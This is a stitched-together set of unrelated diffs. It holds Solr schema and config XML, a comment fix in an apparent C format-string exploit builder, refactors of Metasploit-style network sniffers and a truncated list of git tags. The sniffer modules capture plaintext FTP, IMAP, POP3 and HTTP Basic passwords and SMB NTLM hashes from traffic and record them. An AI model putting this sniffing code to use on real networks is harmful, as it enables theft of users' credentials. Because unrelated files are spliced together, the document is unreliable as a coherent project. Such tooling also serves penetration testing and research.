<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="porterStem"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_en_split_tight" type="text_en_splitting_tight" indexed="true" stored="true"/>
|
||||
<fieldType name="text_en_splitting_tight" class="solr.TextField" positionIncrementGap="100" autoGeneratePhraseQueries="true">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="false"/>
|
||||
<filter name="stop" ignoreCase="true" words="lang/stopwords_en.txt"/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="0" generateNumberParts="0" catenateWords="1" catenateNumbers="1" catenateAll="0"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="englishMinimalStem"/>
|
||||
<filter name="removeDuplicates"/>
|
||||
<filter name="flattenGraph" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="false"/>
|
||||
<filter name="stop" ignoreCase="true" words="lang/stopwords_en.txt"/>
|
||||
<filter name="wordDelimiterGraph" generateWordParts="0" generateNumberParts="0" catenateWords="1" catenateNumbers="1" catenateAll="0"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="keywordMarker" protected="protwords.txt"/>
|
||||
<filter name="englishMinimalStem"/>
|
||||
<filter name="removeDuplicates"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_rev" type="text_general_rev" indexed="true" stored="true"/>
|
||||
<fieldType name="text_general_rev" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
<filter name="reversedWildcard" withOriginal="true"
|
||||
maxPosAsterisk="3" maxPosQuestion="2" maxFractionAsterisk="0.33"/>
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="synonymGraph" synonyms="synonyms.txt" ignoreCase="true" expand="true"/>
|
||||
<filter name="stop" ignoreCase="true" words="stopwords.txt" />
|
||||
<filter name="lowercase"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_phon_en" type="phonetic_en" indexed="true" stored="true"/>
|
||||
<fieldType name="phonetic_en" stored="false" indexed="true" class="solr.TextField" >
|
||||
<analyzer>
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="doubleMetaphone" inject="false"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_s_lower" type="lowercase" indexed="true" stored="true"/>
|
||||
<fieldType name="lowercase" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer>
|
||||
<tokenizer name="keyword"/>
|
||||
<filter name="lowercase" />
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_descendent_path" type="descendent_path" indexed="true" stored="true"/>
|
||||
<fieldType name="descendent_path" class="solr.TextField">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="pathHierarchy" delimiter="/" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="keyword" />
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_ancestor_path" type="ancestor_path" indexed="true" stored="true"/>
|
||||
<fieldType name="ancestor_path" class="solr.TextField">
|
||||
<analyzer type="index">
|
||||
<tokenizer name="keyword" />
|
||||
</analyzer>
|
||||
<analyzer type="query">
|
||||
<tokenizer name="pathHierarchy" delimiter="/" />
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_point" type="point" indexed="true" stored="true"/>
|
||||
<fieldType name="point" class="solr.PointType" dimension="2" subFieldSuffix="_d"/>
|
||||
<fieldType name="location" class="solr.LatLonPointSpatialField" docValues="true"/>
|
||||
<fieldType name="location_rpt" class="solr.SpatialRecursivePrefixTreeFieldType"
|
||||
geo="true" distErrPct="0.025" maxDistErr="0.001" distanceUnits="kilometers" />
|
||||
<fieldType name="delimited_payloads_float" stored="false" indexed="true" class="solr.TextField">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="delimitedPayload" encoder="float"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<fieldType name="delimited_payloads_int" stored="false" indexed="true" class="solr.TextField">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="delimitedPayload" encoder="integer"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<fieldType name="delimited_payloads_string" stored="false" indexed="true" class="solr.TextField">
|
||||
<analyzer>
|
||||
<tokenizer name="whitespace"/>
|
||||
<filter name="delimitedPayload" encoder="identity"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
<dynamicField name="*_txt_cjk" type="text_cjk" indexed="true" stored="true"/>
|
||||
<fieldType name="text_cjk" class="solr.TextField" positionIncrementGap="100">
|
||||
<analyzer>
|
||||
<tokenizer name="standard"/>
|
||||
<filter name="CJKWidth"/>
|
||||
<filter name="lowercase"/>
|
||||
<filter name="CJKBigram"/>
|
||||
</analyzer>
|
||||
</fieldType>
|
||||
</schema>
|
||||
@@ -0,0 +1,262 @@
|
||||
<?xml version="1.0" encoding="UTF-8" ?>
|
||||
<config>
|
||||
<luceneMatchVersion>9.0</luceneMatchVersion>
|
||||
<dataDir>${solr.data.dir:}</dataDir>
|
||||
<directoryFactory name="DirectoryFactory"
|
||||
class="${solr.directoryFactory:solr.NRTCachingDirectoryFactory}"/>
|
||||
<codecFactory class="solr.SchemaCodecFactory"/>
|
||||
<indexConfig>
|
||||
<lockType>${solr.lock.type:native}</lockType>
|
||||
</indexConfig>
|
||||
<updateHandler class="solr.DirectUpdateHandler2">
|
||||
|
||||
<updateLog>
|
||||
<str name="dir">${solr.ulog.dir:}</str>
|
||||
<int name="numVersionBuckets">${solr.ulog.numVersionBuckets:65536}</int>
|
||||
</updateLog>
|
||||
|
||||
<autoCommit>
|
||||
<maxTime>${solr.autoCommit.maxTime:15000}</maxTime>
|
||||
<openSearcher>false</openSearcher>
|
||||
</autoCommit>
|
||||
|
||||
<autoSoftCommit>
|
||||
<maxTime>${solr.autoSoftCommit.maxTime:-1}</maxTime>
|
||||
</autoSoftCommit>
|
||||
|
||||
</updateHandler>
|
||||
|
||||
<query>
|
||||
|
||||
<maxBooleanClauses>${solr.max.booleanClauses:1024}</maxBooleanClauses>
|
||||
|
||||
<filterCache size="512"
|
||||
initialSize="512"
|
||||
autowarmCount="0"/>
|
||||
<queryResultCache size="512"
|
||||
initialSize="512"
|
||||
autowarmCount="0"/>
|
||||
|
||||
<documentCache size="512"
|
||||
initialSize="512"
|
||||
autowarmCount="0"/>
|
||||
|
||||
<cache name="perSegFilter"
|
||||
class="solr.CaffeineCache"
|
||||
size="10"
|
||||
initialSize="0"
|
||||
autowarmCount="10"
|
||||
regenerator="solr.NoOpRegenerator" />
|
||||
|
||||
<enableLazyFieldLoading>true</enableLazyFieldLoading>
|
||||
|
||||
<queryResultWindowSize>20</queryResultWindowSize>
|
||||
|
||||
<queryResultMaxDocsCached>200</queryResultMaxDocsCached>
|
||||
|
||||
<listener event="newSearcher" class="solr.QuerySenderListener">
|
||||
<arr name="queries">
|
||||
</arr>
|
||||
</listener>
|
||||
<listener event="firstSearcher" class="solr.QuerySenderListener">
|
||||
<arr name="queries">
|
||||
</arr>
|
||||
</listener>
|
||||
|
||||
<useColdSearcher>false</useColdSearcher>
|
||||
|
||||
</query>
|
||||
|
||||
<circuitBreakers enabled="true">
|
||||
|
||||
</circuitBreakers>
|
||||
|
||||
<requestDispatcher>
|
||||
|
||||
<httpCaching never304="true" />
|
||||
</requestDispatcher>
|
||||
|
||||
<requestHandler name="/select" class="solr.SearchHandler">
|
||||
<lst name="defaults">
|
||||
<str name="echoParams">explicit</str>
|
||||
<int name="rows">10</int>
|
||||
</lst>
|
||||
</requestHandler>
|
||||
<requestHandler name="/query" class="solr.SearchHandler">
|
||||
<lst name="defaults">
|
||||
<str name="echoParams">explicit</str>
|
||||
<str name="wt">json</str>
|
||||
<str name="indent">true</str>
|
||||
</lst>
|
||||
</requestHandler>
|
||||
<initParams path="/update/**,/query,/select,/spell">
|
||||
<lst name="defaults">
|
||||
<str name="df">_text_</str>
|
||||
</lst>
|
||||
</initParams>
|
||||
<searchComponent name="spellcheck" class="solr.SpellCheckComponent">
|
||||
<str name="queryAnalyzerFieldType">text_general</str>
|
||||
<lst name="spellchecker">
|
||||
<str name="name">default</str>
|
||||
<str name="field">_text_</str>
|
||||
<str name="classname">solr.DirectSolrSpellChecker</str>
|
||||
<str name="distanceMeasure">internal</str>
|
||||
<float name="accuracy">0.5</float>
|
||||
<int name="maxEdits">2</int>
|
||||
<int name="minPrefix">1</int>
|
||||
<int name="maxInspections">5</int>
|
||||
<int name="minQueryLength">4</int>
|
||||
<float name="maxQueryFrequency">0.01</float>
|
||||
</lst>
|
||||
</searchComponent>
|
||||
<requestHandler name="/spell" class="solr.SearchHandler" startup="lazy">
|
||||
<lst name="defaults">
|
||||
<str name="spellcheck.dictionary">default</str>
|
||||
<str name="spellcheck">on</str>
|
||||
<str name="spellcheck.extendedResults">true</str>
|
||||
<str name="spellcheck.count">10</str>
|
||||
<str name="spellcheck.alternativeTermCount">5</str>
|
||||
<str name="spellcheck.maxResultsForSuggest">5</str>
|
||||
<str name="spellcheck.collate">true</str>
|
||||
<str name="spellcheck.collateExtendedResults">true</str>
|
||||
<str name="spellcheck.maxCollationTries">10</str>
|
||||
<str name="spellcheck.maxCollations">5</str>
|
||||
</lst>
|
||||
<arr name="last-components">
|
||||
<str>spellcheck</str>
|
||||
</arr>
|
||||
</requestHandler>
|
||||
<searchComponent class="solr.HighlightComponent" name="highlight">
|
||||
<highlighting>
|
||||
<fragmenter name="gap"
|
||||
default="true"
|
||||
class="solr.highlight.GapFragmenter">
|
||||
<lst name="defaults">
|
||||
<int name="hl.fragsize">100</int>
|
||||
</lst>
|
||||
</fragmenter>
|
||||
|
||||
<fragmenter name="regex"
|
||||
class="solr.highlight.RegexFragmenter">
|
||||
<lst name="defaults">
|
||||
<int name="hl.fragsize">70</int>
|
||||
<float name="hl.regex.slop">0.5</float>
|
||||
<str name="hl.regex.pattern">[-\w ,/\n\"']{20,200}</str>
|
||||
</lst>
|
||||
</fragmenter>
|
||||
<formatter name="html"
|
||||
default="true"
|
||||
class="solr.highlight.HtmlFormatter">
|
||||
<lst name="defaults">
|
||||
<str name="hl.simple.pre"><![CDATA[<em>]]></str>
|
||||
<str name="hl.simple.post"><![CDATA[</em>]]></str>
|
||||
</lst>
|
||||
</formatter>
|
||||
<encoder name="html"
|
||||
class="solr.highlight.HtmlEncoder" />
|
||||
|
||||
<fragListBuilder name="simple"
|
||||
class="solr.highlight.SimpleFragListBuilder"/>
|
||||
|
||||
<fragListBuilder name="single"
|
||||
class="solr.highlight.SingleFragListBuilder"/>
|
||||
|
||||
<fragListBuilder name="weighted"
|
||||
default="true"
|
||||
class="solr.highlight.WeightedFragListBuilder"/>
|
||||
|
||||
<fragmentsBuilder name="default"
|
||||
default="true"
|
||||
class="solr.highlight.ScoreOrderFragmentsBuilder">
|
||||
</fragmentsBuilder>
|
||||
|
||||
<fragmentsBuilder name="colored"
|
||||
class="solr.highlight.ScoreOrderFragmentsBuilder">
|
||||
<lst name="defaults">
|
||||
<str name="hl.tag.pre"><![CDATA[
|
||||
<b style="background:yellow">,<b style="background:lawgreen">,
|
||||
<b style="background:aquamarine">,<b style="background:magenta">,
|
||||
<b style="background:palegreen">,<b style="background:coral">,
|
||||
<b style="background:wheat">,<b style="background:khaki">,
|
||||
<b style="background:lime">,<b style="background:deepskyblue">]]></str>
|
||||
<str name="hl.tag.post"><![CDATA[</b>]]></str>
|
||||
</lst>
|
||||
</fragmentsBuilder>
|
||||
|
||||
<boundaryScanner name="default"
|
||||
default="true"
|
||||
class="solr.highlight.SimpleBoundaryScanner">
|
||||
<lst name="defaults">
|
||||
<str name="hl.bs.maxScan">10</str>
|
||||
<str name="hl.bs.chars">.,!? 	 </str>
|
||||
</lst>
|
||||
</boundaryScanner>
|
||||
|
||||
<boundaryScanner name="breakIterator"
|
||||
class="solr.highlight.BreakIteratorBoundaryScanner">
|
||||
<lst name="defaults">
|
||||
<str name="hl.bs.type">WORD</str>
|
||||
<str name="hl.bs.language">en</str>
|
||||
<str name="hl.bs.country">US</str>
|
||||
</lst>
|
||||
</boundaryScanner>
|
||||
</highlighting>
|
||||
</searchComponent>
|
||||
|
||||
<updateProcessor class="solr.UUIDUpdateProcessorFactory" name="uuid"/>
|
||||
<updateProcessor class="solr.RemoveBlankFieldUpdateProcessorFactory" name="remove-blank"/>
|
||||
<updateProcessor class="solr.FieldNameMutatingUpdateProcessorFactory" name="field-name-mutating">
|
||||
<str name="pattern">[^\w-\.]</str>
|
||||
<str name="replacement">_</str>
|
||||
</updateProcessor>
|
||||
<updateProcessor class="solr.ParseBooleanFieldUpdateProcessorFactory" name="parse-boolean"/>
|
||||
<updateProcessor class="solr.ParseLongFieldUpdateProcessorFactory" name="parse-long"/>
|
||||
<updateProcessor class="solr.ParseDoubleFieldUpdateProcessorFactory" name="parse-double"/>
|
||||
<updateProcessor class="solr.ParseDateFieldUpdateProcessorFactory" name="parse-date">
|
||||
<arr name="format">
|
||||
<str>yyyy-MM-dd['T'[HH:mm[:ss[.SSS]][z</str>
|
||||
<str>yyyy-MM-dd['T'[HH:mm[:ss[,SSS]][z</str>
|
||||
<str>yyyy-MM-dd HH:mm[:ss[.SSS]][z</str>
|
||||
<str>yyyy-MM-dd HH:mm[:ss[,SSS]][z</str>
|
||||
<str>[EEE, ]dd MMM yyyy HH:mm[:ss] z</str>
|
||||
<str>EEEE, dd-MMM-yy HH:mm:ss z</str>
|
||||
<str>EEE MMM ppd HH:mm:ss [z ]yyyy</str>
|
||||
</arr>
|
||||
</updateProcessor>
|
||||
<updateProcessor class="solr.AddSchemaFieldsUpdateProcessorFactory" name="add-schema-fields">
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.String</str>
|
||||
<str name="fieldType">text_general</str>
|
||||
<lst name="copyField">
|
||||
<str name="dest">*_str</str>
|
||||
<int name="maxChars">256</int>
|
||||
</lst>
|
||||
<bool name="default">true</bool>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.Boolean</str>
|
||||
<str name="fieldType">booleans</str>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.util.Date</str>
|
||||
<str name="fieldType">pdates</str>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.Long</str>
|
||||
<str name="valueClass">java.lang.Integer</str>
|
||||
<str name="fieldType">plongs</str>
|
||||
</lst>
|
||||
<lst name="typeMapping">
|
||||
<str name="valueClass">java.lang.Number</str>
|
||||
<str name="fieldType">pdoubles</str>
|
||||
</lst>
|
||||
</updateProcessor>
|
||||
|
||||
<updateRequestProcessorChain name="add-unknown-fields-to-the-schema" default="${update.autoCreateFields:true}"
|
||||
processor="uuid,remove-blank,field-name-mutating,parse-boolean,parse-long,parse-double,parse-date,add-schema-fields">
|
||||
<processor class="solr.LogUpdateProcessorFactory"/>
|
||||
<processor class="solr.DistributedUpdateProcessorFactory"/>
|
||||
<processor class="solr.RunUpdateProcessorFactory"/>
|
||||
</updateRequestProcessorChain>
|
||||
|
||||
</config>
|
||||
@@ -553,7 +553,7 @@ void createStackWriteFormatString(
|
||||
formatBuffer+=result;
|
||||
bufferSize-=result;
|
||||
|
||||
// Write the LABEL 6 more times, thus multiplying the the single
|
||||
// Write the LABEL 6 more times, thus multiplying the single
|
||||
// byte write pointer to an 8-byte aligned argv-list pointer and
|
||||
// update argv[0] to point to argv[1..n].
|
||||
writeCount=(((int)argvStackAddress)-(writeCount+56))&0xffff;
|
||||
|
||||
@@ -40,7 +40,16 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
if(s[:user] and s[:pass])
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Response code 5 from server",
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
|
||||
s[:pass] = ""
|
||||
@@ -49,7 +58,16 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :login_pass
|
||||
if(s[:user] and s[:pass])
|
||||
report_auth_info(s)
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Response code 230 from server",
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
# Remove it form the session objects so freeup memory
|
||||
sessions.delete(s[:session])
|
||||
|
||||
@@ -44,7 +44,16 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
when :login_pass
|
||||
|
||||
report_auth_info(s)
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability OK reponse from server",
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
@@ -52,14 +61,32 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability NO response from server",
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when :login_bad
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability BAD response from server",
|
||||
:status => Metasploit::Model::Login::Status::UNTRIED
|
||||
)
|
||||
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
|
||||
@@ -38,6 +38,10 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
case s[:last]
|
||||
when nil
|
||||
# Its the first +OK must include the banner, worst case its just +OK
|
||||
|
||||
# Strip the banner, so that we don't need to do it multiple times
|
||||
# We can improve the banner by removing the +OK part
|
||||
s[:banner] = matches.strip
|
||||
s[:info] = matches
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
@@ -52,8 +56,17 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:name],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => s[:extra],
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
@@ -72,8 +85,17 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
|
||||
s[:proto]="pop3"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:proto],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => s[:extra],
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner]})")
|
||||
s[:pass]=""
|
||||
end
|
||||
when nil
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
# When db is available reports go into db
|
||||
#
|
||||
|
||||
#Memo :
|
||||
#Memo :
|
||||
#FOR SMBV1
|
||||
# Authentification without extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
|
||||
@@ -20,7 +20,7 @@
|
||||
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
|
||||
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
|
||||
#FOR SMBV2
|
||||
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||
|
||||
class SnifferSMB < BaseProtocolParser
|
||||
|
||||
@@ -132,7 +132,7 @@ class SnifferSMB < BaseProtocolParser
|
||||
ntlmlength = payload[53,2].unpack("v")[0]
|
||||
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
|
||||
s[:ntlmhash] = payload[65 + lmlength, ntlmlength].unpack("H*")[0]
|
||||
|
||||
|
||||
names = payload[Range.new(65 + lmlength + ntlmlength,-1)].split("\x00\x00").map { |x| x.gsub(/\x00/, '') }
|
||||
|
||||
s[:user] = names[0]
|
||||
@@ -145,8 +145,8 @@ class SnifferSMB < BaseProtocolParser
|
||||
if s[:last] == :ntlm_type3 or s[:last] == :smb_no_ntlm
|
||||
#do not output anonymous/guest logging
|
||||
unless s[:user] == '' or s[:ntlmhash] == '' or s[:ntlmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
#set lmhash to a default value if not provided
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == '' or s[:lmhash] =~ /^(00)*$/m
|
||||
s[:lmhash] = "00" * 24 if s[:lmhash] == s[:ntlmhash]
|
||||
|
||||
smb_status = payload[9,4].unpack("V")[0]
|
||||
@@ -157,29 +157,29 @@ class SnifferSMB < BaseProtocolParser
|
||||
logmessage =
|
||||
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
|
||||
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"SERVER CHALLENGE:#{s[:challenge]} " +
|
||||
"\nLMHASH:#{s[:lmhash]} " +
|
||||
"\nNTHASH:#{s[:ntlmhash]}\n"
|
||||
print_status(logmessage)
|
||||
|
||||
src_ip = s[:client_host]
|
||||
dst_ip = s[:host]
|
||||
# know this is ugly , last code added :-/
|
||||
smb_db_type_hash = case ntlm_ver
|
||||
when "NTLMv1" then "smb_netv1_hash"
|
||||
when "NTLM2_SESSION" then "smb_netv1_hash"
|
||||
when "NTLMv2" then "smb_netv2_hash"
|
||||
when "NTLMv1" then "netntlm"
|
||||
when "NTLM2_SESSION" then "netntlm"
|
||||
when "NTLMv2" then "netntlmv2"
|
||||
end
|
||||
# DB reporting
|
||||
report_auth_info(
|
||||
:host => dst_ip,
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
report_cred(
|
||||
:ip => dst_ip,
|
||||
:port => s[:port],
|
||||
:service_name => 'smb',
|
||||
:user => s[:user],
|
||||
:pass => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => smb_db_type_hash,
|
||||
:password => s[:domain] + ":" + s[:lmhash] + ":" + s[:ntlmhash] + ":" + s[:challenge],
|
||||
:type => :nonreplayable_hash,
|
||||
:jtr_format => smb_db_type_hash,
|
||||
:proof => "DOMAIN=#{s[:domain]} OS=#{s[:peer_os]}",
|
||||
:active => true
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
|
||||
report_note(
|
||||
|
||||
@@ -44,7 +44,16 @@ class SnifferURL < BaseProtocolParser
|
||||
end
|
||||
if s[:basic_auth]
|
||||
s[:user], s[:pass] = Rex::Text.decode_base64(s[:basic_auth]).split(':', 2)
|
||||
report_auth_info s
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => 'http',
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Session: #{s[:session]} Basic Auth: #{s[:basic_auth]}",
|
||||
:status => Metasploit::Model::Login::Status::UNTRIED
|
||||
)
|
||||
print_status "HTTP Basic Authentication: #{s[:session]} >> #{s[:user]} / #{s[:pass]}"
|
||||
end
|
||||
when nil
|
||||
|
||||
@@ -0,0 +1,188 @@
|
||||
[
|
||||
{
|
||||
"name": "v0.7.1",
|
||||
"commit": {
|
||||
"sha": "56fa824510d8a35b08e3b42bf6625c846e2ed5a0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.7.0",
|
||||
"commit": {
|
||||
"sha": "fdd9ad94c11d44259ef26bf4b2dc9a8bd139f607"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.2",
|
||||
"commit": {
|
||||
"sha": "b0c367cac7211117e88a55517396764036ac0552"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.1",
|
||||
"commit": {
|
||||
"sha": "ef0dacb0c36a1a180ef8fda670c82854658aab00"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.0",
|
||||
"commit": {
|
||||
"sha": "e72f6d6d5dd078df2d270cc48a4087588443f89a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.5.0",
|
||||
"commit": {
|
||||
"sha": "027d9b4653e2f3ea13d4de6a0b2bd568106ffb40"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.4.0",
|
||||
"commit": {
|
||||
"sha": "521ba0cb2f63110eb2ed13a7054a4d70238a862a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.3",
|
||||
"commit": {
|
||||
"sha": "38c4cf7dd9275294348bab903be9dc12eafe37dd"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.2",
|
||||
"commit": {
|
||||
"sha": "9d9d31a6694ab1fc12da20ea18fa5a778ce5a631"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.1",
|
||||
"commit": {
|
||||
"sha": "e75c251013845f1921ea75c24b44fd7164ee398d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.3.0",
|
||||
"commit": {
|
||||
"sha": "9606d7ee5ab3b8056b4a69610ae79b7b473d779d"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.2.1",
|
||||
"commit": {
|
||||
"sha": "da29a200cd8ec46da709e0523787479ac6fb274b"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.2.0",
|
||||
"commit": {
|
||||
"sha": "2e345f6f6caeb3495f6454bfaa5a10bf50639411"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.1.0",
|
||||
"commit": {
|
||||
"sha": "1869a7f0a85ceaa707ea25866da98a3ac5a0667e"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.10",
|
||||
"commit": {
|
||||
"sha": "f08970c1d8910091a392d26b51db33b5c99a0f81"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.9",
|
||||
"commit": {
|
||||
"sha": "f98abfb79dc2c437f1b6cb5f534da560c85c5406"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.8",
|
||||
"commit": {
|
||||
"sha": "222cf2c65189c97877491c7bcc6fc14982ce65d7"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.7",
|
||||
"commit": {
|
||||
"sha": "2a743a5bf4b27a6cc9cb857bd178c2e724d98821"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.6",
|
||||
"commit": {
|
||||
"sha": "f6253b6bfaa249236ac1b4f0505f4b7af8f89116"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.0.5",
|
||||
"commit": {
|
||||
